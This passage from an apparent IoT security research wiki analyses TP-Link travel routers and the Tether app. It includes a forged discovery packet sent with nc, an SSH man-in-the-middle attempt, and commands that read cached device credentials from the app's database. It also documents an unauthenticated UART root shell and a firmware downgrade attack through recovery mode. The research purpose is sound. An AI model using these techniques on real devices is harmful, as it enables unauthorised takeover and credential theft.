// 0020 01 66 4e 22 ae fa 00 c8 b9 f4 01 00 00 02 00 b0 .fN"............
// 0030 12 01 00 00 03 e5 6c 37 99 5b 00 01 00 04 c0 a8 ......l7.[......
// 0040 01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00 ................
// 0050 00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36 ......98:DA:C4:6
// 0060 45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50 E:00:FC.......TP
// 0070 2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04 -Link_00FC......
// 0080 00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c ..............TL
// 0090 2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00 -WR902AC........
// 00a0 00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65 ..........Wirele
// 00b0 73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64 ssRouter.....(ed
// 00c0 63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64 c87f7972719ff36d
// 00d0 30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46 076fa0540e39bbFF
// 00e0 30 30 30 30 30 30 ff 00 00 00 000000....</syntaxhighlight>

</div>
</div>

<br>

<b>Forged Unicast Discovery Request plus Response Example</b>
<syntaxhighlight lang="Bash">echo -e '\x01''\x00''\x00''\x02''\x00''\x00''\x11''\x01''\x00''\x00''\x02''\x89''\xfc''\x17''\xe0''\x92' | nc -u 192.168.1.1 20002 | hexdump -C</syntaxhighlight><syntaxhighlight lang="hexdump">

00000000 01 00 00 02 00 b0 12 01 00 00 02 89 d2 9d a4 13 |................|
00000010 00 01 00 04 c0 a8 01 01 ff 00 00 00 00 06 00 04 |................|
00000020 ff ff ff 00 ff 00 00 00 00 02 00 11 39 38 3a 44 |............98:D|
00000030 41 3a 43 34 3a 36 45 3a 30 30 3a 46 43 ff 00 00 |A:C4:6E:00:FC...|
00000040 00 03 00 0c 54 50 2d 4c 69 6e 6b 5f 30 30 46 43 |....TP-Link_00FC|
00000050 ff 00 00 00 00 04 00 04 00 0d c8 8f ff 00 00 00 |................|
00000060 00 05 00 0a 54 4c 2d 57 52 39 30 32 41 43 ff 00 |....TL-WR902AC..|
00000070 00 08 00 04 00 00 00 01 ff 00 00 00 00 09 00 0e |................|
00000080 57 69 72 65 6c 65 73 73 52 6f 75 74 65 72 ff 00 |WirelessRouter..|
00000090 00 10 00 28 65 64 63 38 37 66 37 39 37 32 37 31 |...(edc87f797271|
000000a0 39 66 66 33 36 64 30 37 36 66 61 30 35 34 30 65 |9ff36d076fa0540e|
000000b0 33 39 62 62 46 46 30 30 30 30 30 30 ff 00 00 00 |39bbFF000000....|</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Point of interest</b>: edc87f7972719ff36d076fa0540e39bb (32B) FF000000 (8B)</div>

<h4>SSH Man-in-the-middle</h4>

<div style="text-align: justify; margin-bottom: 5px">Using [https://github.com/jtesta/ssh-mitm ssh-mitm], it was possible to interfear the credential on connnection establishment between the mobile App and a device. However, the connection then breaks down because Tether notices that something is wrong. I suspect this has to do with an SSH tunnel or similar. Unfortunately I don't know how the Tether App exchanges data via SSH.</div>

<h4>Reverse Engineering</h4>

<div style="text-align: justify; margin-bottom: 5px">The APK can be decompiled using [https://ibotpeaches.github.io/Apktool/ Apktool] and [https://github.com/skylot/jadx jadx].</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ ./assets/tp-link-root-CA.pem</div>
<div class="mw-collapsible-content">

<nowiki>-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn
dSAA4fejD/qMQn0=
-----END CERTIFICATE-----</nowiki>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ openssl x509 -in tp-link-root-CA.pem --text</div>
<div class="mw-collapsible-content">

<nowiki>Certificate:
Data:
Version: 3 (0x2)
Serial Number:
4f:9c:74:99:ae:d0:9c:83:47:09:0b:e1:9e:6c:d1:f7
Signature Algorithm: sha256WithRSAEncryption
Issuer: CN = tp-link-CA
Validity
Not Before: Jan 19 08:27:52 2018 GMT
Not After : Jan 19 08:37:52 2068 GMT
Subject: CN = tp-link-CA
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:b8:61:bc:9f:9c:c4:50:dd:63:e7:0b:af:53:3e:
29:00:83:2e:ae:12:87:6e:97:d4:52:ef:9b:d9:a7:
05:1c:a4:ba:89:4f:61:34:95:af:0f:28:57:72:28:
58:e5:6c:fa:6a:af:66:e0:3e:52:65:c8:16:de:4d:
f5:62:83:4d:b6:bc:ed:0e:37:60:da:ac:3b:01:a5:
fc:e5:2f:7d:fc:6d:01:55:b2:17:92:da:e1:b3:7e:
0e:5b:5f:56:03:f8:5a:0f:0b:ad:dd:d1:61:2d:e9:
be:80:24:51:29:45:dc:9a:ea:9c:85:97:3c:e1:d6:
3b:24:55:5f:84:f7:09:72:2e:26:b1:18:cb:08:53:
4e:d2:1a:3d:39:7f:8c:67:07:ce:e0:12:da:78:0a:
8a:56:80:28:af:aa:df:e0:15:d5:b4:ed:31:8d:81:
c3:28:ed:1f:6f:70:16:2c:b2:78:12:31:9e:ab:a6:
22:7a:a3:e2:62:53:c5:12:a4:66:e4:fa:ef:05:74:
e6:d0:8b:90:a2:0c:a0:c9:5a:4a:e0:b1:eb:fc:ad:
b4:ed:92:f2:57:7d:c3:c4:b2:db:b1:48:12:10:95:
67:a5:95:2f:fd:65:2e:8d:78:e5:20:38:31:22:fc:
99:64:26:22:5c:ed:dd:95:ed:bf:30:4b:e9:99:99:
3a:25
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage:
Digital Signature, Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
X509v3 Subject Key Identifier:
C6:ED:A2:05:14:EC:79:FE:62:36:7B:00:0D:58:4C:24:34:16:8B:A9
1.3.6.1.4.1.311.21.1:
...
Signature Algorithm: sha256WithRSAEncryption
1e:76:31:a8:dd:fb:0a:37:71:be:41:b1:3a:3a:df:3d:8f:b1:
b6:f2:97:80:02:31:46:b0:eb:c3:71:50:cc:ba:d4:e8:a1:c7:
79:9c:2f:32:c9:aa:22:19:70:a7:8f:88:7b:24:2e:a2:c9:17:
b4:1f:4f:d4:ea:8e:f8:b3:32:31:49:56:0b:0b:b9:5b:9b:50:
15:ca:07:3a:b2:37:ed:ca:2a:54:1c:8b:43:ce:de:61:fe:39:
b8:72:68:4e:c1:cd:5f:aa:ad:2d:cf:75:54:e0:b0:25:85:bf:
c0:e4:80:b4:d1:b9:d4:96:c4:be:d5:c1:5a:1e:75:ce:e5:47:
3e:44:ae:81:a0:27:7d:e7:44:60:91:d2:78:1c:5b:dd:7d:b4:
b4:c0:44:34:0e:a5:42:e6:ce:e9:5c:75:67:99:80:6f:b4:3c:
b5:f4:c6:32:50:22:31:44:bd:b3:b1:47:56:7e:83:13:2e:a4:
1c:f4:ad:61:68:92:65:98:ad:c8:1a:f1:e5:a2:5b:38:d0:21:
ad:ff:01:20:55:27:af:6c:ad:5e:fb:b6:b5:a5:7c:bb:a6:90:
28:5b:5e:4f:62:eb:83:57:04:a9:dc:7b:42:66:96:5d:18:f4:
e0:b5:9c:c3:ea:ad:b4:0a:9f:37:27:75:20:00:e1:f7:a3:0f:
fa:8c:42:7d
-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn
dSAA4fejD/qMQn0=
-----END CERTIFICATE-----</nowiki>

</div>
</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ ./assets/rsa/app_public_key.pem</div>
<div class="mw-collapsible-content">

<nowiki>-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAviMEj2Kss5OZzWS1Qyfz
ErRbg9wjDRvLem1enx/cr8CvSETdMtEctRSQdwvdpOWVFEhGQXeNSbs5me55u8ZI
eE3ph2JOW5PU++PsnvUIqqf8AJB1h+j0DcE+7tlsLRquskpNK9p6L/ziB8s/MaeA
r//Nkhvdo32ax16UyzpeaOuReaLspDEHPN6+C7q6GFRZ8v0ILkQAFfGAEy94DI6Q
CeXwBA90zLDDwKnyFwfp6r1Yi/1pUWzyXQLKmxzZJoiYO/J16fvyR4ILqzt40fyY
cPsg+hpZUeGotBEt3AqTToeWPHbHKPCTgjMmYYGI0eqwbnMKKYMdZ34fViEDHhUy
ewIDAQAB
-----END PUBLIC KEY-----</nowiki>

</div>
</div>

<h4>Android Cache</h4>

<div style="text-align: justify; margin-bottom: 5px">The Tether app caches username, password and other information from configured devices. These information are encrypted using an AES/CBC/PKCS7Padding (256bit) cipher.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ TP_TETHER_CACHE.DB: Model</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Java">DEVICE (DEVICE_ID, MAC, USER_NAME, PASSWORD, NICK_NAME, NAME, FW_VERSION);
RE_EXTENDED_NETWORK (SSID, PASSWORD);

FUNCTION_POSITION (DEVICE_MODEL, FUNCTION_KEY, PAGE, POSITION);
BSSID_RECORD (BSSID, MODEL, HW_VERSION, FW_VERSION);
RE_DISTANCE_IGNORE (DEVICE_ID, IGNORE,IGNORE_BIND);
DEVICE_STATISTICS (ID, TPLINK_ID, HOST_NAME, MAC);
DEVICE_RATE (MAC, TIME, HAVETRIGGER, MODELNAME, HARDWAREVERSION, FIRMWAREVERSION, APPRATEDTRACKER);
DEVICE_RECORD (DEVICE_ID, INTO_PARENTAL_CONTROL_TIMES, ONEMESH_VER_TRACKED, SYSTEM_INFO_TRACKED, OPERATION_MODE_TRACKED, OPERATION_MODE_CHANGE_TRACKED);
CLIENTS_RECORD (ID, MAC, DEVICE_ID, CLIENT_TRACKED, ONEMESH_AVAILABLE_DEVICE_TRACKED, ONEMESH_ADDED_DEVICE_TRACKED);
DEVICE_RECORE_VERSION (DEVICE_ID, HOMECARE_VERSION_TRACKED);
RE_DISTANCE_IGNORE_V2 (DEVICE_ID, NEAR_IGNORE, FAR_IGNORE, HAS_POST);</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ TP_TETHER_CACHE.DB: Access</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">$ cd /data/data/com.tplink.tether/databases
$ sqllite3 TP_TETHER_CACHE.DB

> .tables
> SELECT USER_NAME, PASSWORD FROM DEVICE;

# USER_NAME: CCB759C153B0AFFE39B6F7218238413B
# PASSWORD: CCB759C153B0AFFE39B6F7218238413B

Cipher: AES/CBC/PKCS7Padding (256bit)</syntaxhighlight>

</div>
</div>

<h2>Physical Intervention</h2>

<div style="text-align: justify; margin-bottom: 5px">[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the TL-WR902AC has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/TE7WR902ACV3/Internal-Photos/TL-WR902AC-Internal-photo-rev1-3526178.iframe internal photos] provided to the FCC, which revealed at least the position of the two clips holding the enclosure together. Additionally the top an bottom part of the case where lightly molded together. This requires the usage of some force when opening. The TL-WR802N is not molded together but hast 3 clips instead.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: Printed Circuit Board</div>
<div class="mw-collapsible-content">

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=465px>
image:TL-WR902AC_V3_PCB_Back.png|PCB Back
image:TL-WR902AC_V3_PCB_Front.png|PCB Front
</gallery>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=280px>
image:TL-WR902AC_V3_Case_bottom.png|Bottom Case
image:TL-WR902AC_V3_Case_top.png|Top Case
</gallery>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=550px>
image:TL-WR902AC_V3_Case.png|Case
</gallery>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR802N</b>: Printed Circuit Board</div>
<div class="mw-collapsible-content">

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=450px>
image:TL-WR802N_V4_PCB_Back.jpg|PCB Back
image:TL-WR802N_V4_PCB_Front.jpg|PCB Front
</gallery>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=480px>
image:TL-WR802N_V4_PCB_in_Case.jpg|PCB in Case
</gallery>

</div>
</div>

<h3>On-Chip Debug</h3>

<h4>UART</h4>
<p style="text-align: justify">Having a UART connection isn't necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices' runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device's UART interface] for further information and guidance. Both investigated devices share the same UART configuration of <code>115200 (8N1)</code> (<code>screen /dev/$S_INT 115200,cs8</code>). But the bootloader uses <code>115200 (7N1)</code>. (<code>screen /dev/$S_INT 115200,cs7</code>).</p>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Both devices provide a root shell without any need of authentification.</div>

<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>UART Pin Assignment</b></div>
<div class="mw-collapsible-content">

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=300px>
image:TL-WR902AC_V3_UART_Pin_assignment.jpg|TL-WR902AC V3
image:TL-WR802N_V4_UART_Pin_assignment.jpg|TL-WR802N V4
</gallery>

</div>
</div>

<h4>Bootloader</h4>

<p style="text-align: justify">The examined devices both use the Universal Bootloader (U-Boot), but don't provide the means to access the U-Boot command line by my knowledge. Additionally it is require to configure the serial connection to use <code>115200 (8N1)</code>. The only functionality that the bootloader is able to provide is to start into recovery mode. This recovery mode allows to load an image called <code>tp_recovery.bin</code> over FTP. To do this one need to setup a FTP server with IP address <code>192.168.0.66</code> and connect the server to the device to recover via ethernet cable. If one has physical access to the device, one could start a downgrade attack, deploying that Firmware version 170828 which gives an attacker full control over the device without even the need to build a custom malicious image. The recovery mode can be started by pressing and holding the reset button until <nowiki>starting recovery...</nowiki> gets displayed. This process takes about 10 seconds to start. The device will automatically continue to boot normally if no FTP server or image is found.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: Factory Reset Button behavior</div>
<div class="mw-collapsible-content">

<nowiki>
// Factory Reset
resetCount ++ 0.
resetCount ++ 1.
resetCount ++ 2.
resetCount ++ 3.
resetCount ++ 4.
resetCount ++ 5.
resetCount ++ 6.
resetCount ++ 7.
resetCount ++ 8.
resetCount ++ 9.
resetCount ++ 10.
resetCount ++ 11.
resetCount ++ 12.
resetCount ++ 13.
resetCount ++ 14.
Factory configuration restored..
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000
spiflash_ioctl_write, Write to 0x007c0000 length 0x10000, ret 0, retlen 0x10000

... Soft Reset ...</nowiki>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: Load recovery or custom image over FTP</div>
<div class="mw-collapsible-content">

<nowiki>U-Boot 1.1.3 (Aug 22 2017 - 09:54:30)

Board: Ralink APSoC DRAM: 64 MB
relocate_code Pointer at: 83fb4000
******************************
Software System Reset Occurred <------------------------------------------
******************************
gpiomode1 55154444.
gpiomode2 05540555.
flash manufacture id: c8, device id 40 17
find flash: GD25Q64B
============================================
Ralink UBoot Version: 4.3.0.0
--------------------------------------------
ASIC 7628_MP (Port5<->None)
DRAM component: 512 Mbits DDR, width 16
DRAM bus: 16 bit
Total memory: 64 MBytes
Flash component: SPI Flash
Date:Aug 22 2017 Time:09:54:30
============================================
icache: sets:512, ways:4, linesz:32 ,total:65536
dcache: sets:256, ways:4, linesz:32 ,total:32768

##### The CPU freq = 580 MHZ ####
estimate memory size =64 Mbytes
RESET MT7628 PHY!!!!!!.................................................. <---------- Contine holding reset button
starting recovery...
TODO, Read MAC Address from Flash

netboot_common, argc= 3

NetTxPacket = 0x83FE38C0

KSEG1ADDR(NetTxPacket) = 0xA3FE38C0

NetLoop,call eth_halt !

NetLoop,call eth_init !
Trying Eth0 (10/100-M)

Waitting for RX_DMA_BUSY status Start... done

ETH_STATE_ACTIVE!!
TFTP from server </nowiki><b>192.168.0.66</b><nowiki>; our IP address is </nowiki><b>192.168.0.2</b><nowiki>
Filename '</nowiki><b>tp_recovery.bin</b><nowiki>'.

TIMEOUT_COUNT=10,Load address: 0x80060000
Loading: T T T T T T T T T T <----------- Timemout
Retry count exceeded; starting again

... Loads Linux ...
</nowiki>
</div>
</div>

<h4>Bootlog</h4>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: AC750 Wifi - Travel Router</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<nowiki>Linux version 2.6.36 (soho@soho) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #7 Mon Aug 28 15:55:59 HKT 2017

The CPU feqenuce set to 575 MHz

MIPS CPU sleep mode enabled.
CPU revision is: 00019655 (MIPS 24Kc)
Software DMA cache coherency
Determined physical RAM map:
memory: 04000000 @ 00000000 (usable)
Initrd not found or empty - disabling initrd
Zone PFN ranges:
Normal 0x00000000 -> 0x00004000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00004000
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 16256
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init
PID hash table entries: 256 (order: -2, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
Writing ErrCtl register=0006b4ae
Readback ErrCtl register=0006b4ae
Memory: 61076k/65536k available (2715k kernel code, 4460k reserved, 664k data, 168k init, 0k highmem)
NR_IRQS:128
console [ttyS1] enabled
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)
pid_max: default: 4096 minimum: 301
Mount-cache hash table entries: 512
NET: Registered protocol family 16
RALINK_GPIOMODE = 55154444
RALINK_GPIOMODE = 55144444
***** Xtal 40MHz *****
start PCIe register access
RALINK_RSTCTRL = 2400000
RALINK_CLKCFG1 = fdbfffc0

*************** MT7628 PCIe RC mode *************
PCIE0 enabled
Port 0 N_FTS = 1b105000
init_rt2880pci done
bio: create slab <bio-0> at 0
pci 0000:00:00.0: BAR 0: can't assign mem (size 0x80000000)
pci 0000:00:00.0: BAR 8: assigned [mem 0x20000000-0x201fffff]
pci 0000:00:00.0: BAR 1: assigned [mem 0x20200000-0x2020ffff]
pci 0000:00:00.0: BAR 1: set to [mem 0x20200000-0x2020ffff] (PCI address [0x20200000-0x2020ffff]
pci 0000:01:00.0: BAR 0: assigned [mem 0x20000000-0x200fffff]
pci 0000:01:00.0: BAR 0: set to [mem 0x20000000-0x200fffff] (PCI address [0x20000000-0x200fffff]
pci 0000:01:00.1: BAR 0: assigned [mem 0x20100000-0x201fffff]
pci 0000:01:00.1: BAR 0: set to [mem 0x20100000-0x201fffff] (PCI address [0x20100000-0x201fffff]
pci 0000:00:00.0: PCI bridge to [bus 01-01]
pci 0000:00:00.0: bridge window [io disabled]
pci 0000:00:00.0: bridge window [mem 0x20000000-0x201fffff]
pci 0000:00:00.0: bridge window [mem pref disabled]
BAR0 at slot 0 = 0
bus=0x0, slot = 0x0
res[0]->start = 0
res[0]->end = 0
res[1]->start = 20200000
res[1]->end = 2020ffff
res[2]->start = 0
res[2]->end = 0
res[3]->start = 0
res[3]->end = 0
res[4]->start = 0
res[4]->end = 0
res[5]->start = 0
res[5]->end = 0
bus=0x1, slot = 0x0
res[0]->start = 20000000
res[0]->end = 200fffff
res[1]->start = 0
res[1]->end = 0
res[2]->start = 0
res[2]->end = 0
res[3]->start = 0
res[3]->end = 0
res[4]->start = 0
res[4]->end = 0
res[5]->start = 0
res[5]->end = 0
bus=0x1, slot = 0x0
res[0]->start = 20100000
res[0]->end = 201fffff
res[1]->start = 0
res[1]->end = 0
res[2]->start = 0
res[2]->end = 0
res[3]->start = 0
res[3]->end = 0
res[4]->start = 0
res[4]->end = 0
res[5]->start = 0
res[5]->end = 0
Switching to clocksource Ralink Systick timer
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
NET: Registered protocol family 1
RT3xxx EHCI/OHCI init.
squashfs: version 4.0 (2009/01/31) Phillip Lougher
fuse init (API version 7.15)
msgmni has been set to 119
io scheduler noop registered
io scheduler deadline registered (default)
gpiomode1 55144444.
gpiomode2 00000445.
Ralink gpio driver initialized
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A
brd: module loaded
flash manufacture id: c8, device id 40 17
GD25Q64B(c8 40170000) (8192 Kbytes)
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0
Creating 7 MTD partitions on "raspi":
0x000000000000-0x000000020000 : "boot"
0x000000020000-0x000000160000 : "kernel"
0x000000160000-0x0000007c0000 : "rootfs"
mtd: partition "rootfs" set to be root filesystem
0x0000007c0000-0x0000007d0000 : "config"
0x0000007d0000-0x0000007e0000 : "romfile"
0x0000007e0000-0x0000007f0000 : "rom"
0x0000007f0000-0x000000800000 : "radio"
Register flash device:flash0
PPP generic driver version 2.4.2
PPP MPPE Compression module registered
NET: Registered protocol family 24
Mirror/redirect action on
u32 classifier
Actions configured
Netfilter messages via NETLINK v0.30.
nf_conntrack version 0.5.0 (954 buckets, 3816 max)
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux
TCP cubic registered
NET: Registered protocol family 10
ip6_tables: (C) 2000-2006 Netfilter Core Team
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Ebtables v2.0 registered
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.
Freeing unused kernel memory: 168k freed
starting pid 691, tty '': '/etc/init.d/rcS'
rdm_major = 253
SCSI subsystem initialized
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
Read MAC from flash( 7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc
GMAC1_MAC_ADRH -- : 0x000098da
GMAC1_MAC_ADRL -- : 0xc46e00fc
Ralink APSoC Ethernet Driver Initilization. v3.1 256 rx/tx descriptors allocated, mtu = 1500!
NAPI enable, Tx Ring = 256, Rx Ring = 256
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
Read MAC from flash( 7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc
GMAC1_MAC_ADRH -- : 0x000098da
GMAC1_MAC_ADRL -- : 0xc46e00fc
PROC INIT OK!
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
FM_OUT value: u4FmOut = 0(0x00000000)
FM_OUT value: u4FmOut = 125(0x0000007D)
FM detection done! loop = 1
SR calibration value u1SrCalVal = 7
rt3xxx-ehci rt3xxx-ehci: Ralink EHCI Host Controller
rt3xxx-ehci rt3xxx-ehci: new USB bus registered, assigned bus number 1
rt3xxx-ehci rt3xxx-ehci: irq 18, io mem 0x101c0000
rt3xxx-ehci rt3xxx-ehci: USB 0.0 started, EHCI 1.00
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
rt3xxx-ohci rt3xxx-ohci: RT3xxx OHCI Controller
rt3xxx-ohci rt3xxx-ohci: new USB bus registered, assigned bus number 2
rt3xxx-ohci rt3xxx-ohci: irq 18, io mem 0x101c1000
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 1 port detected
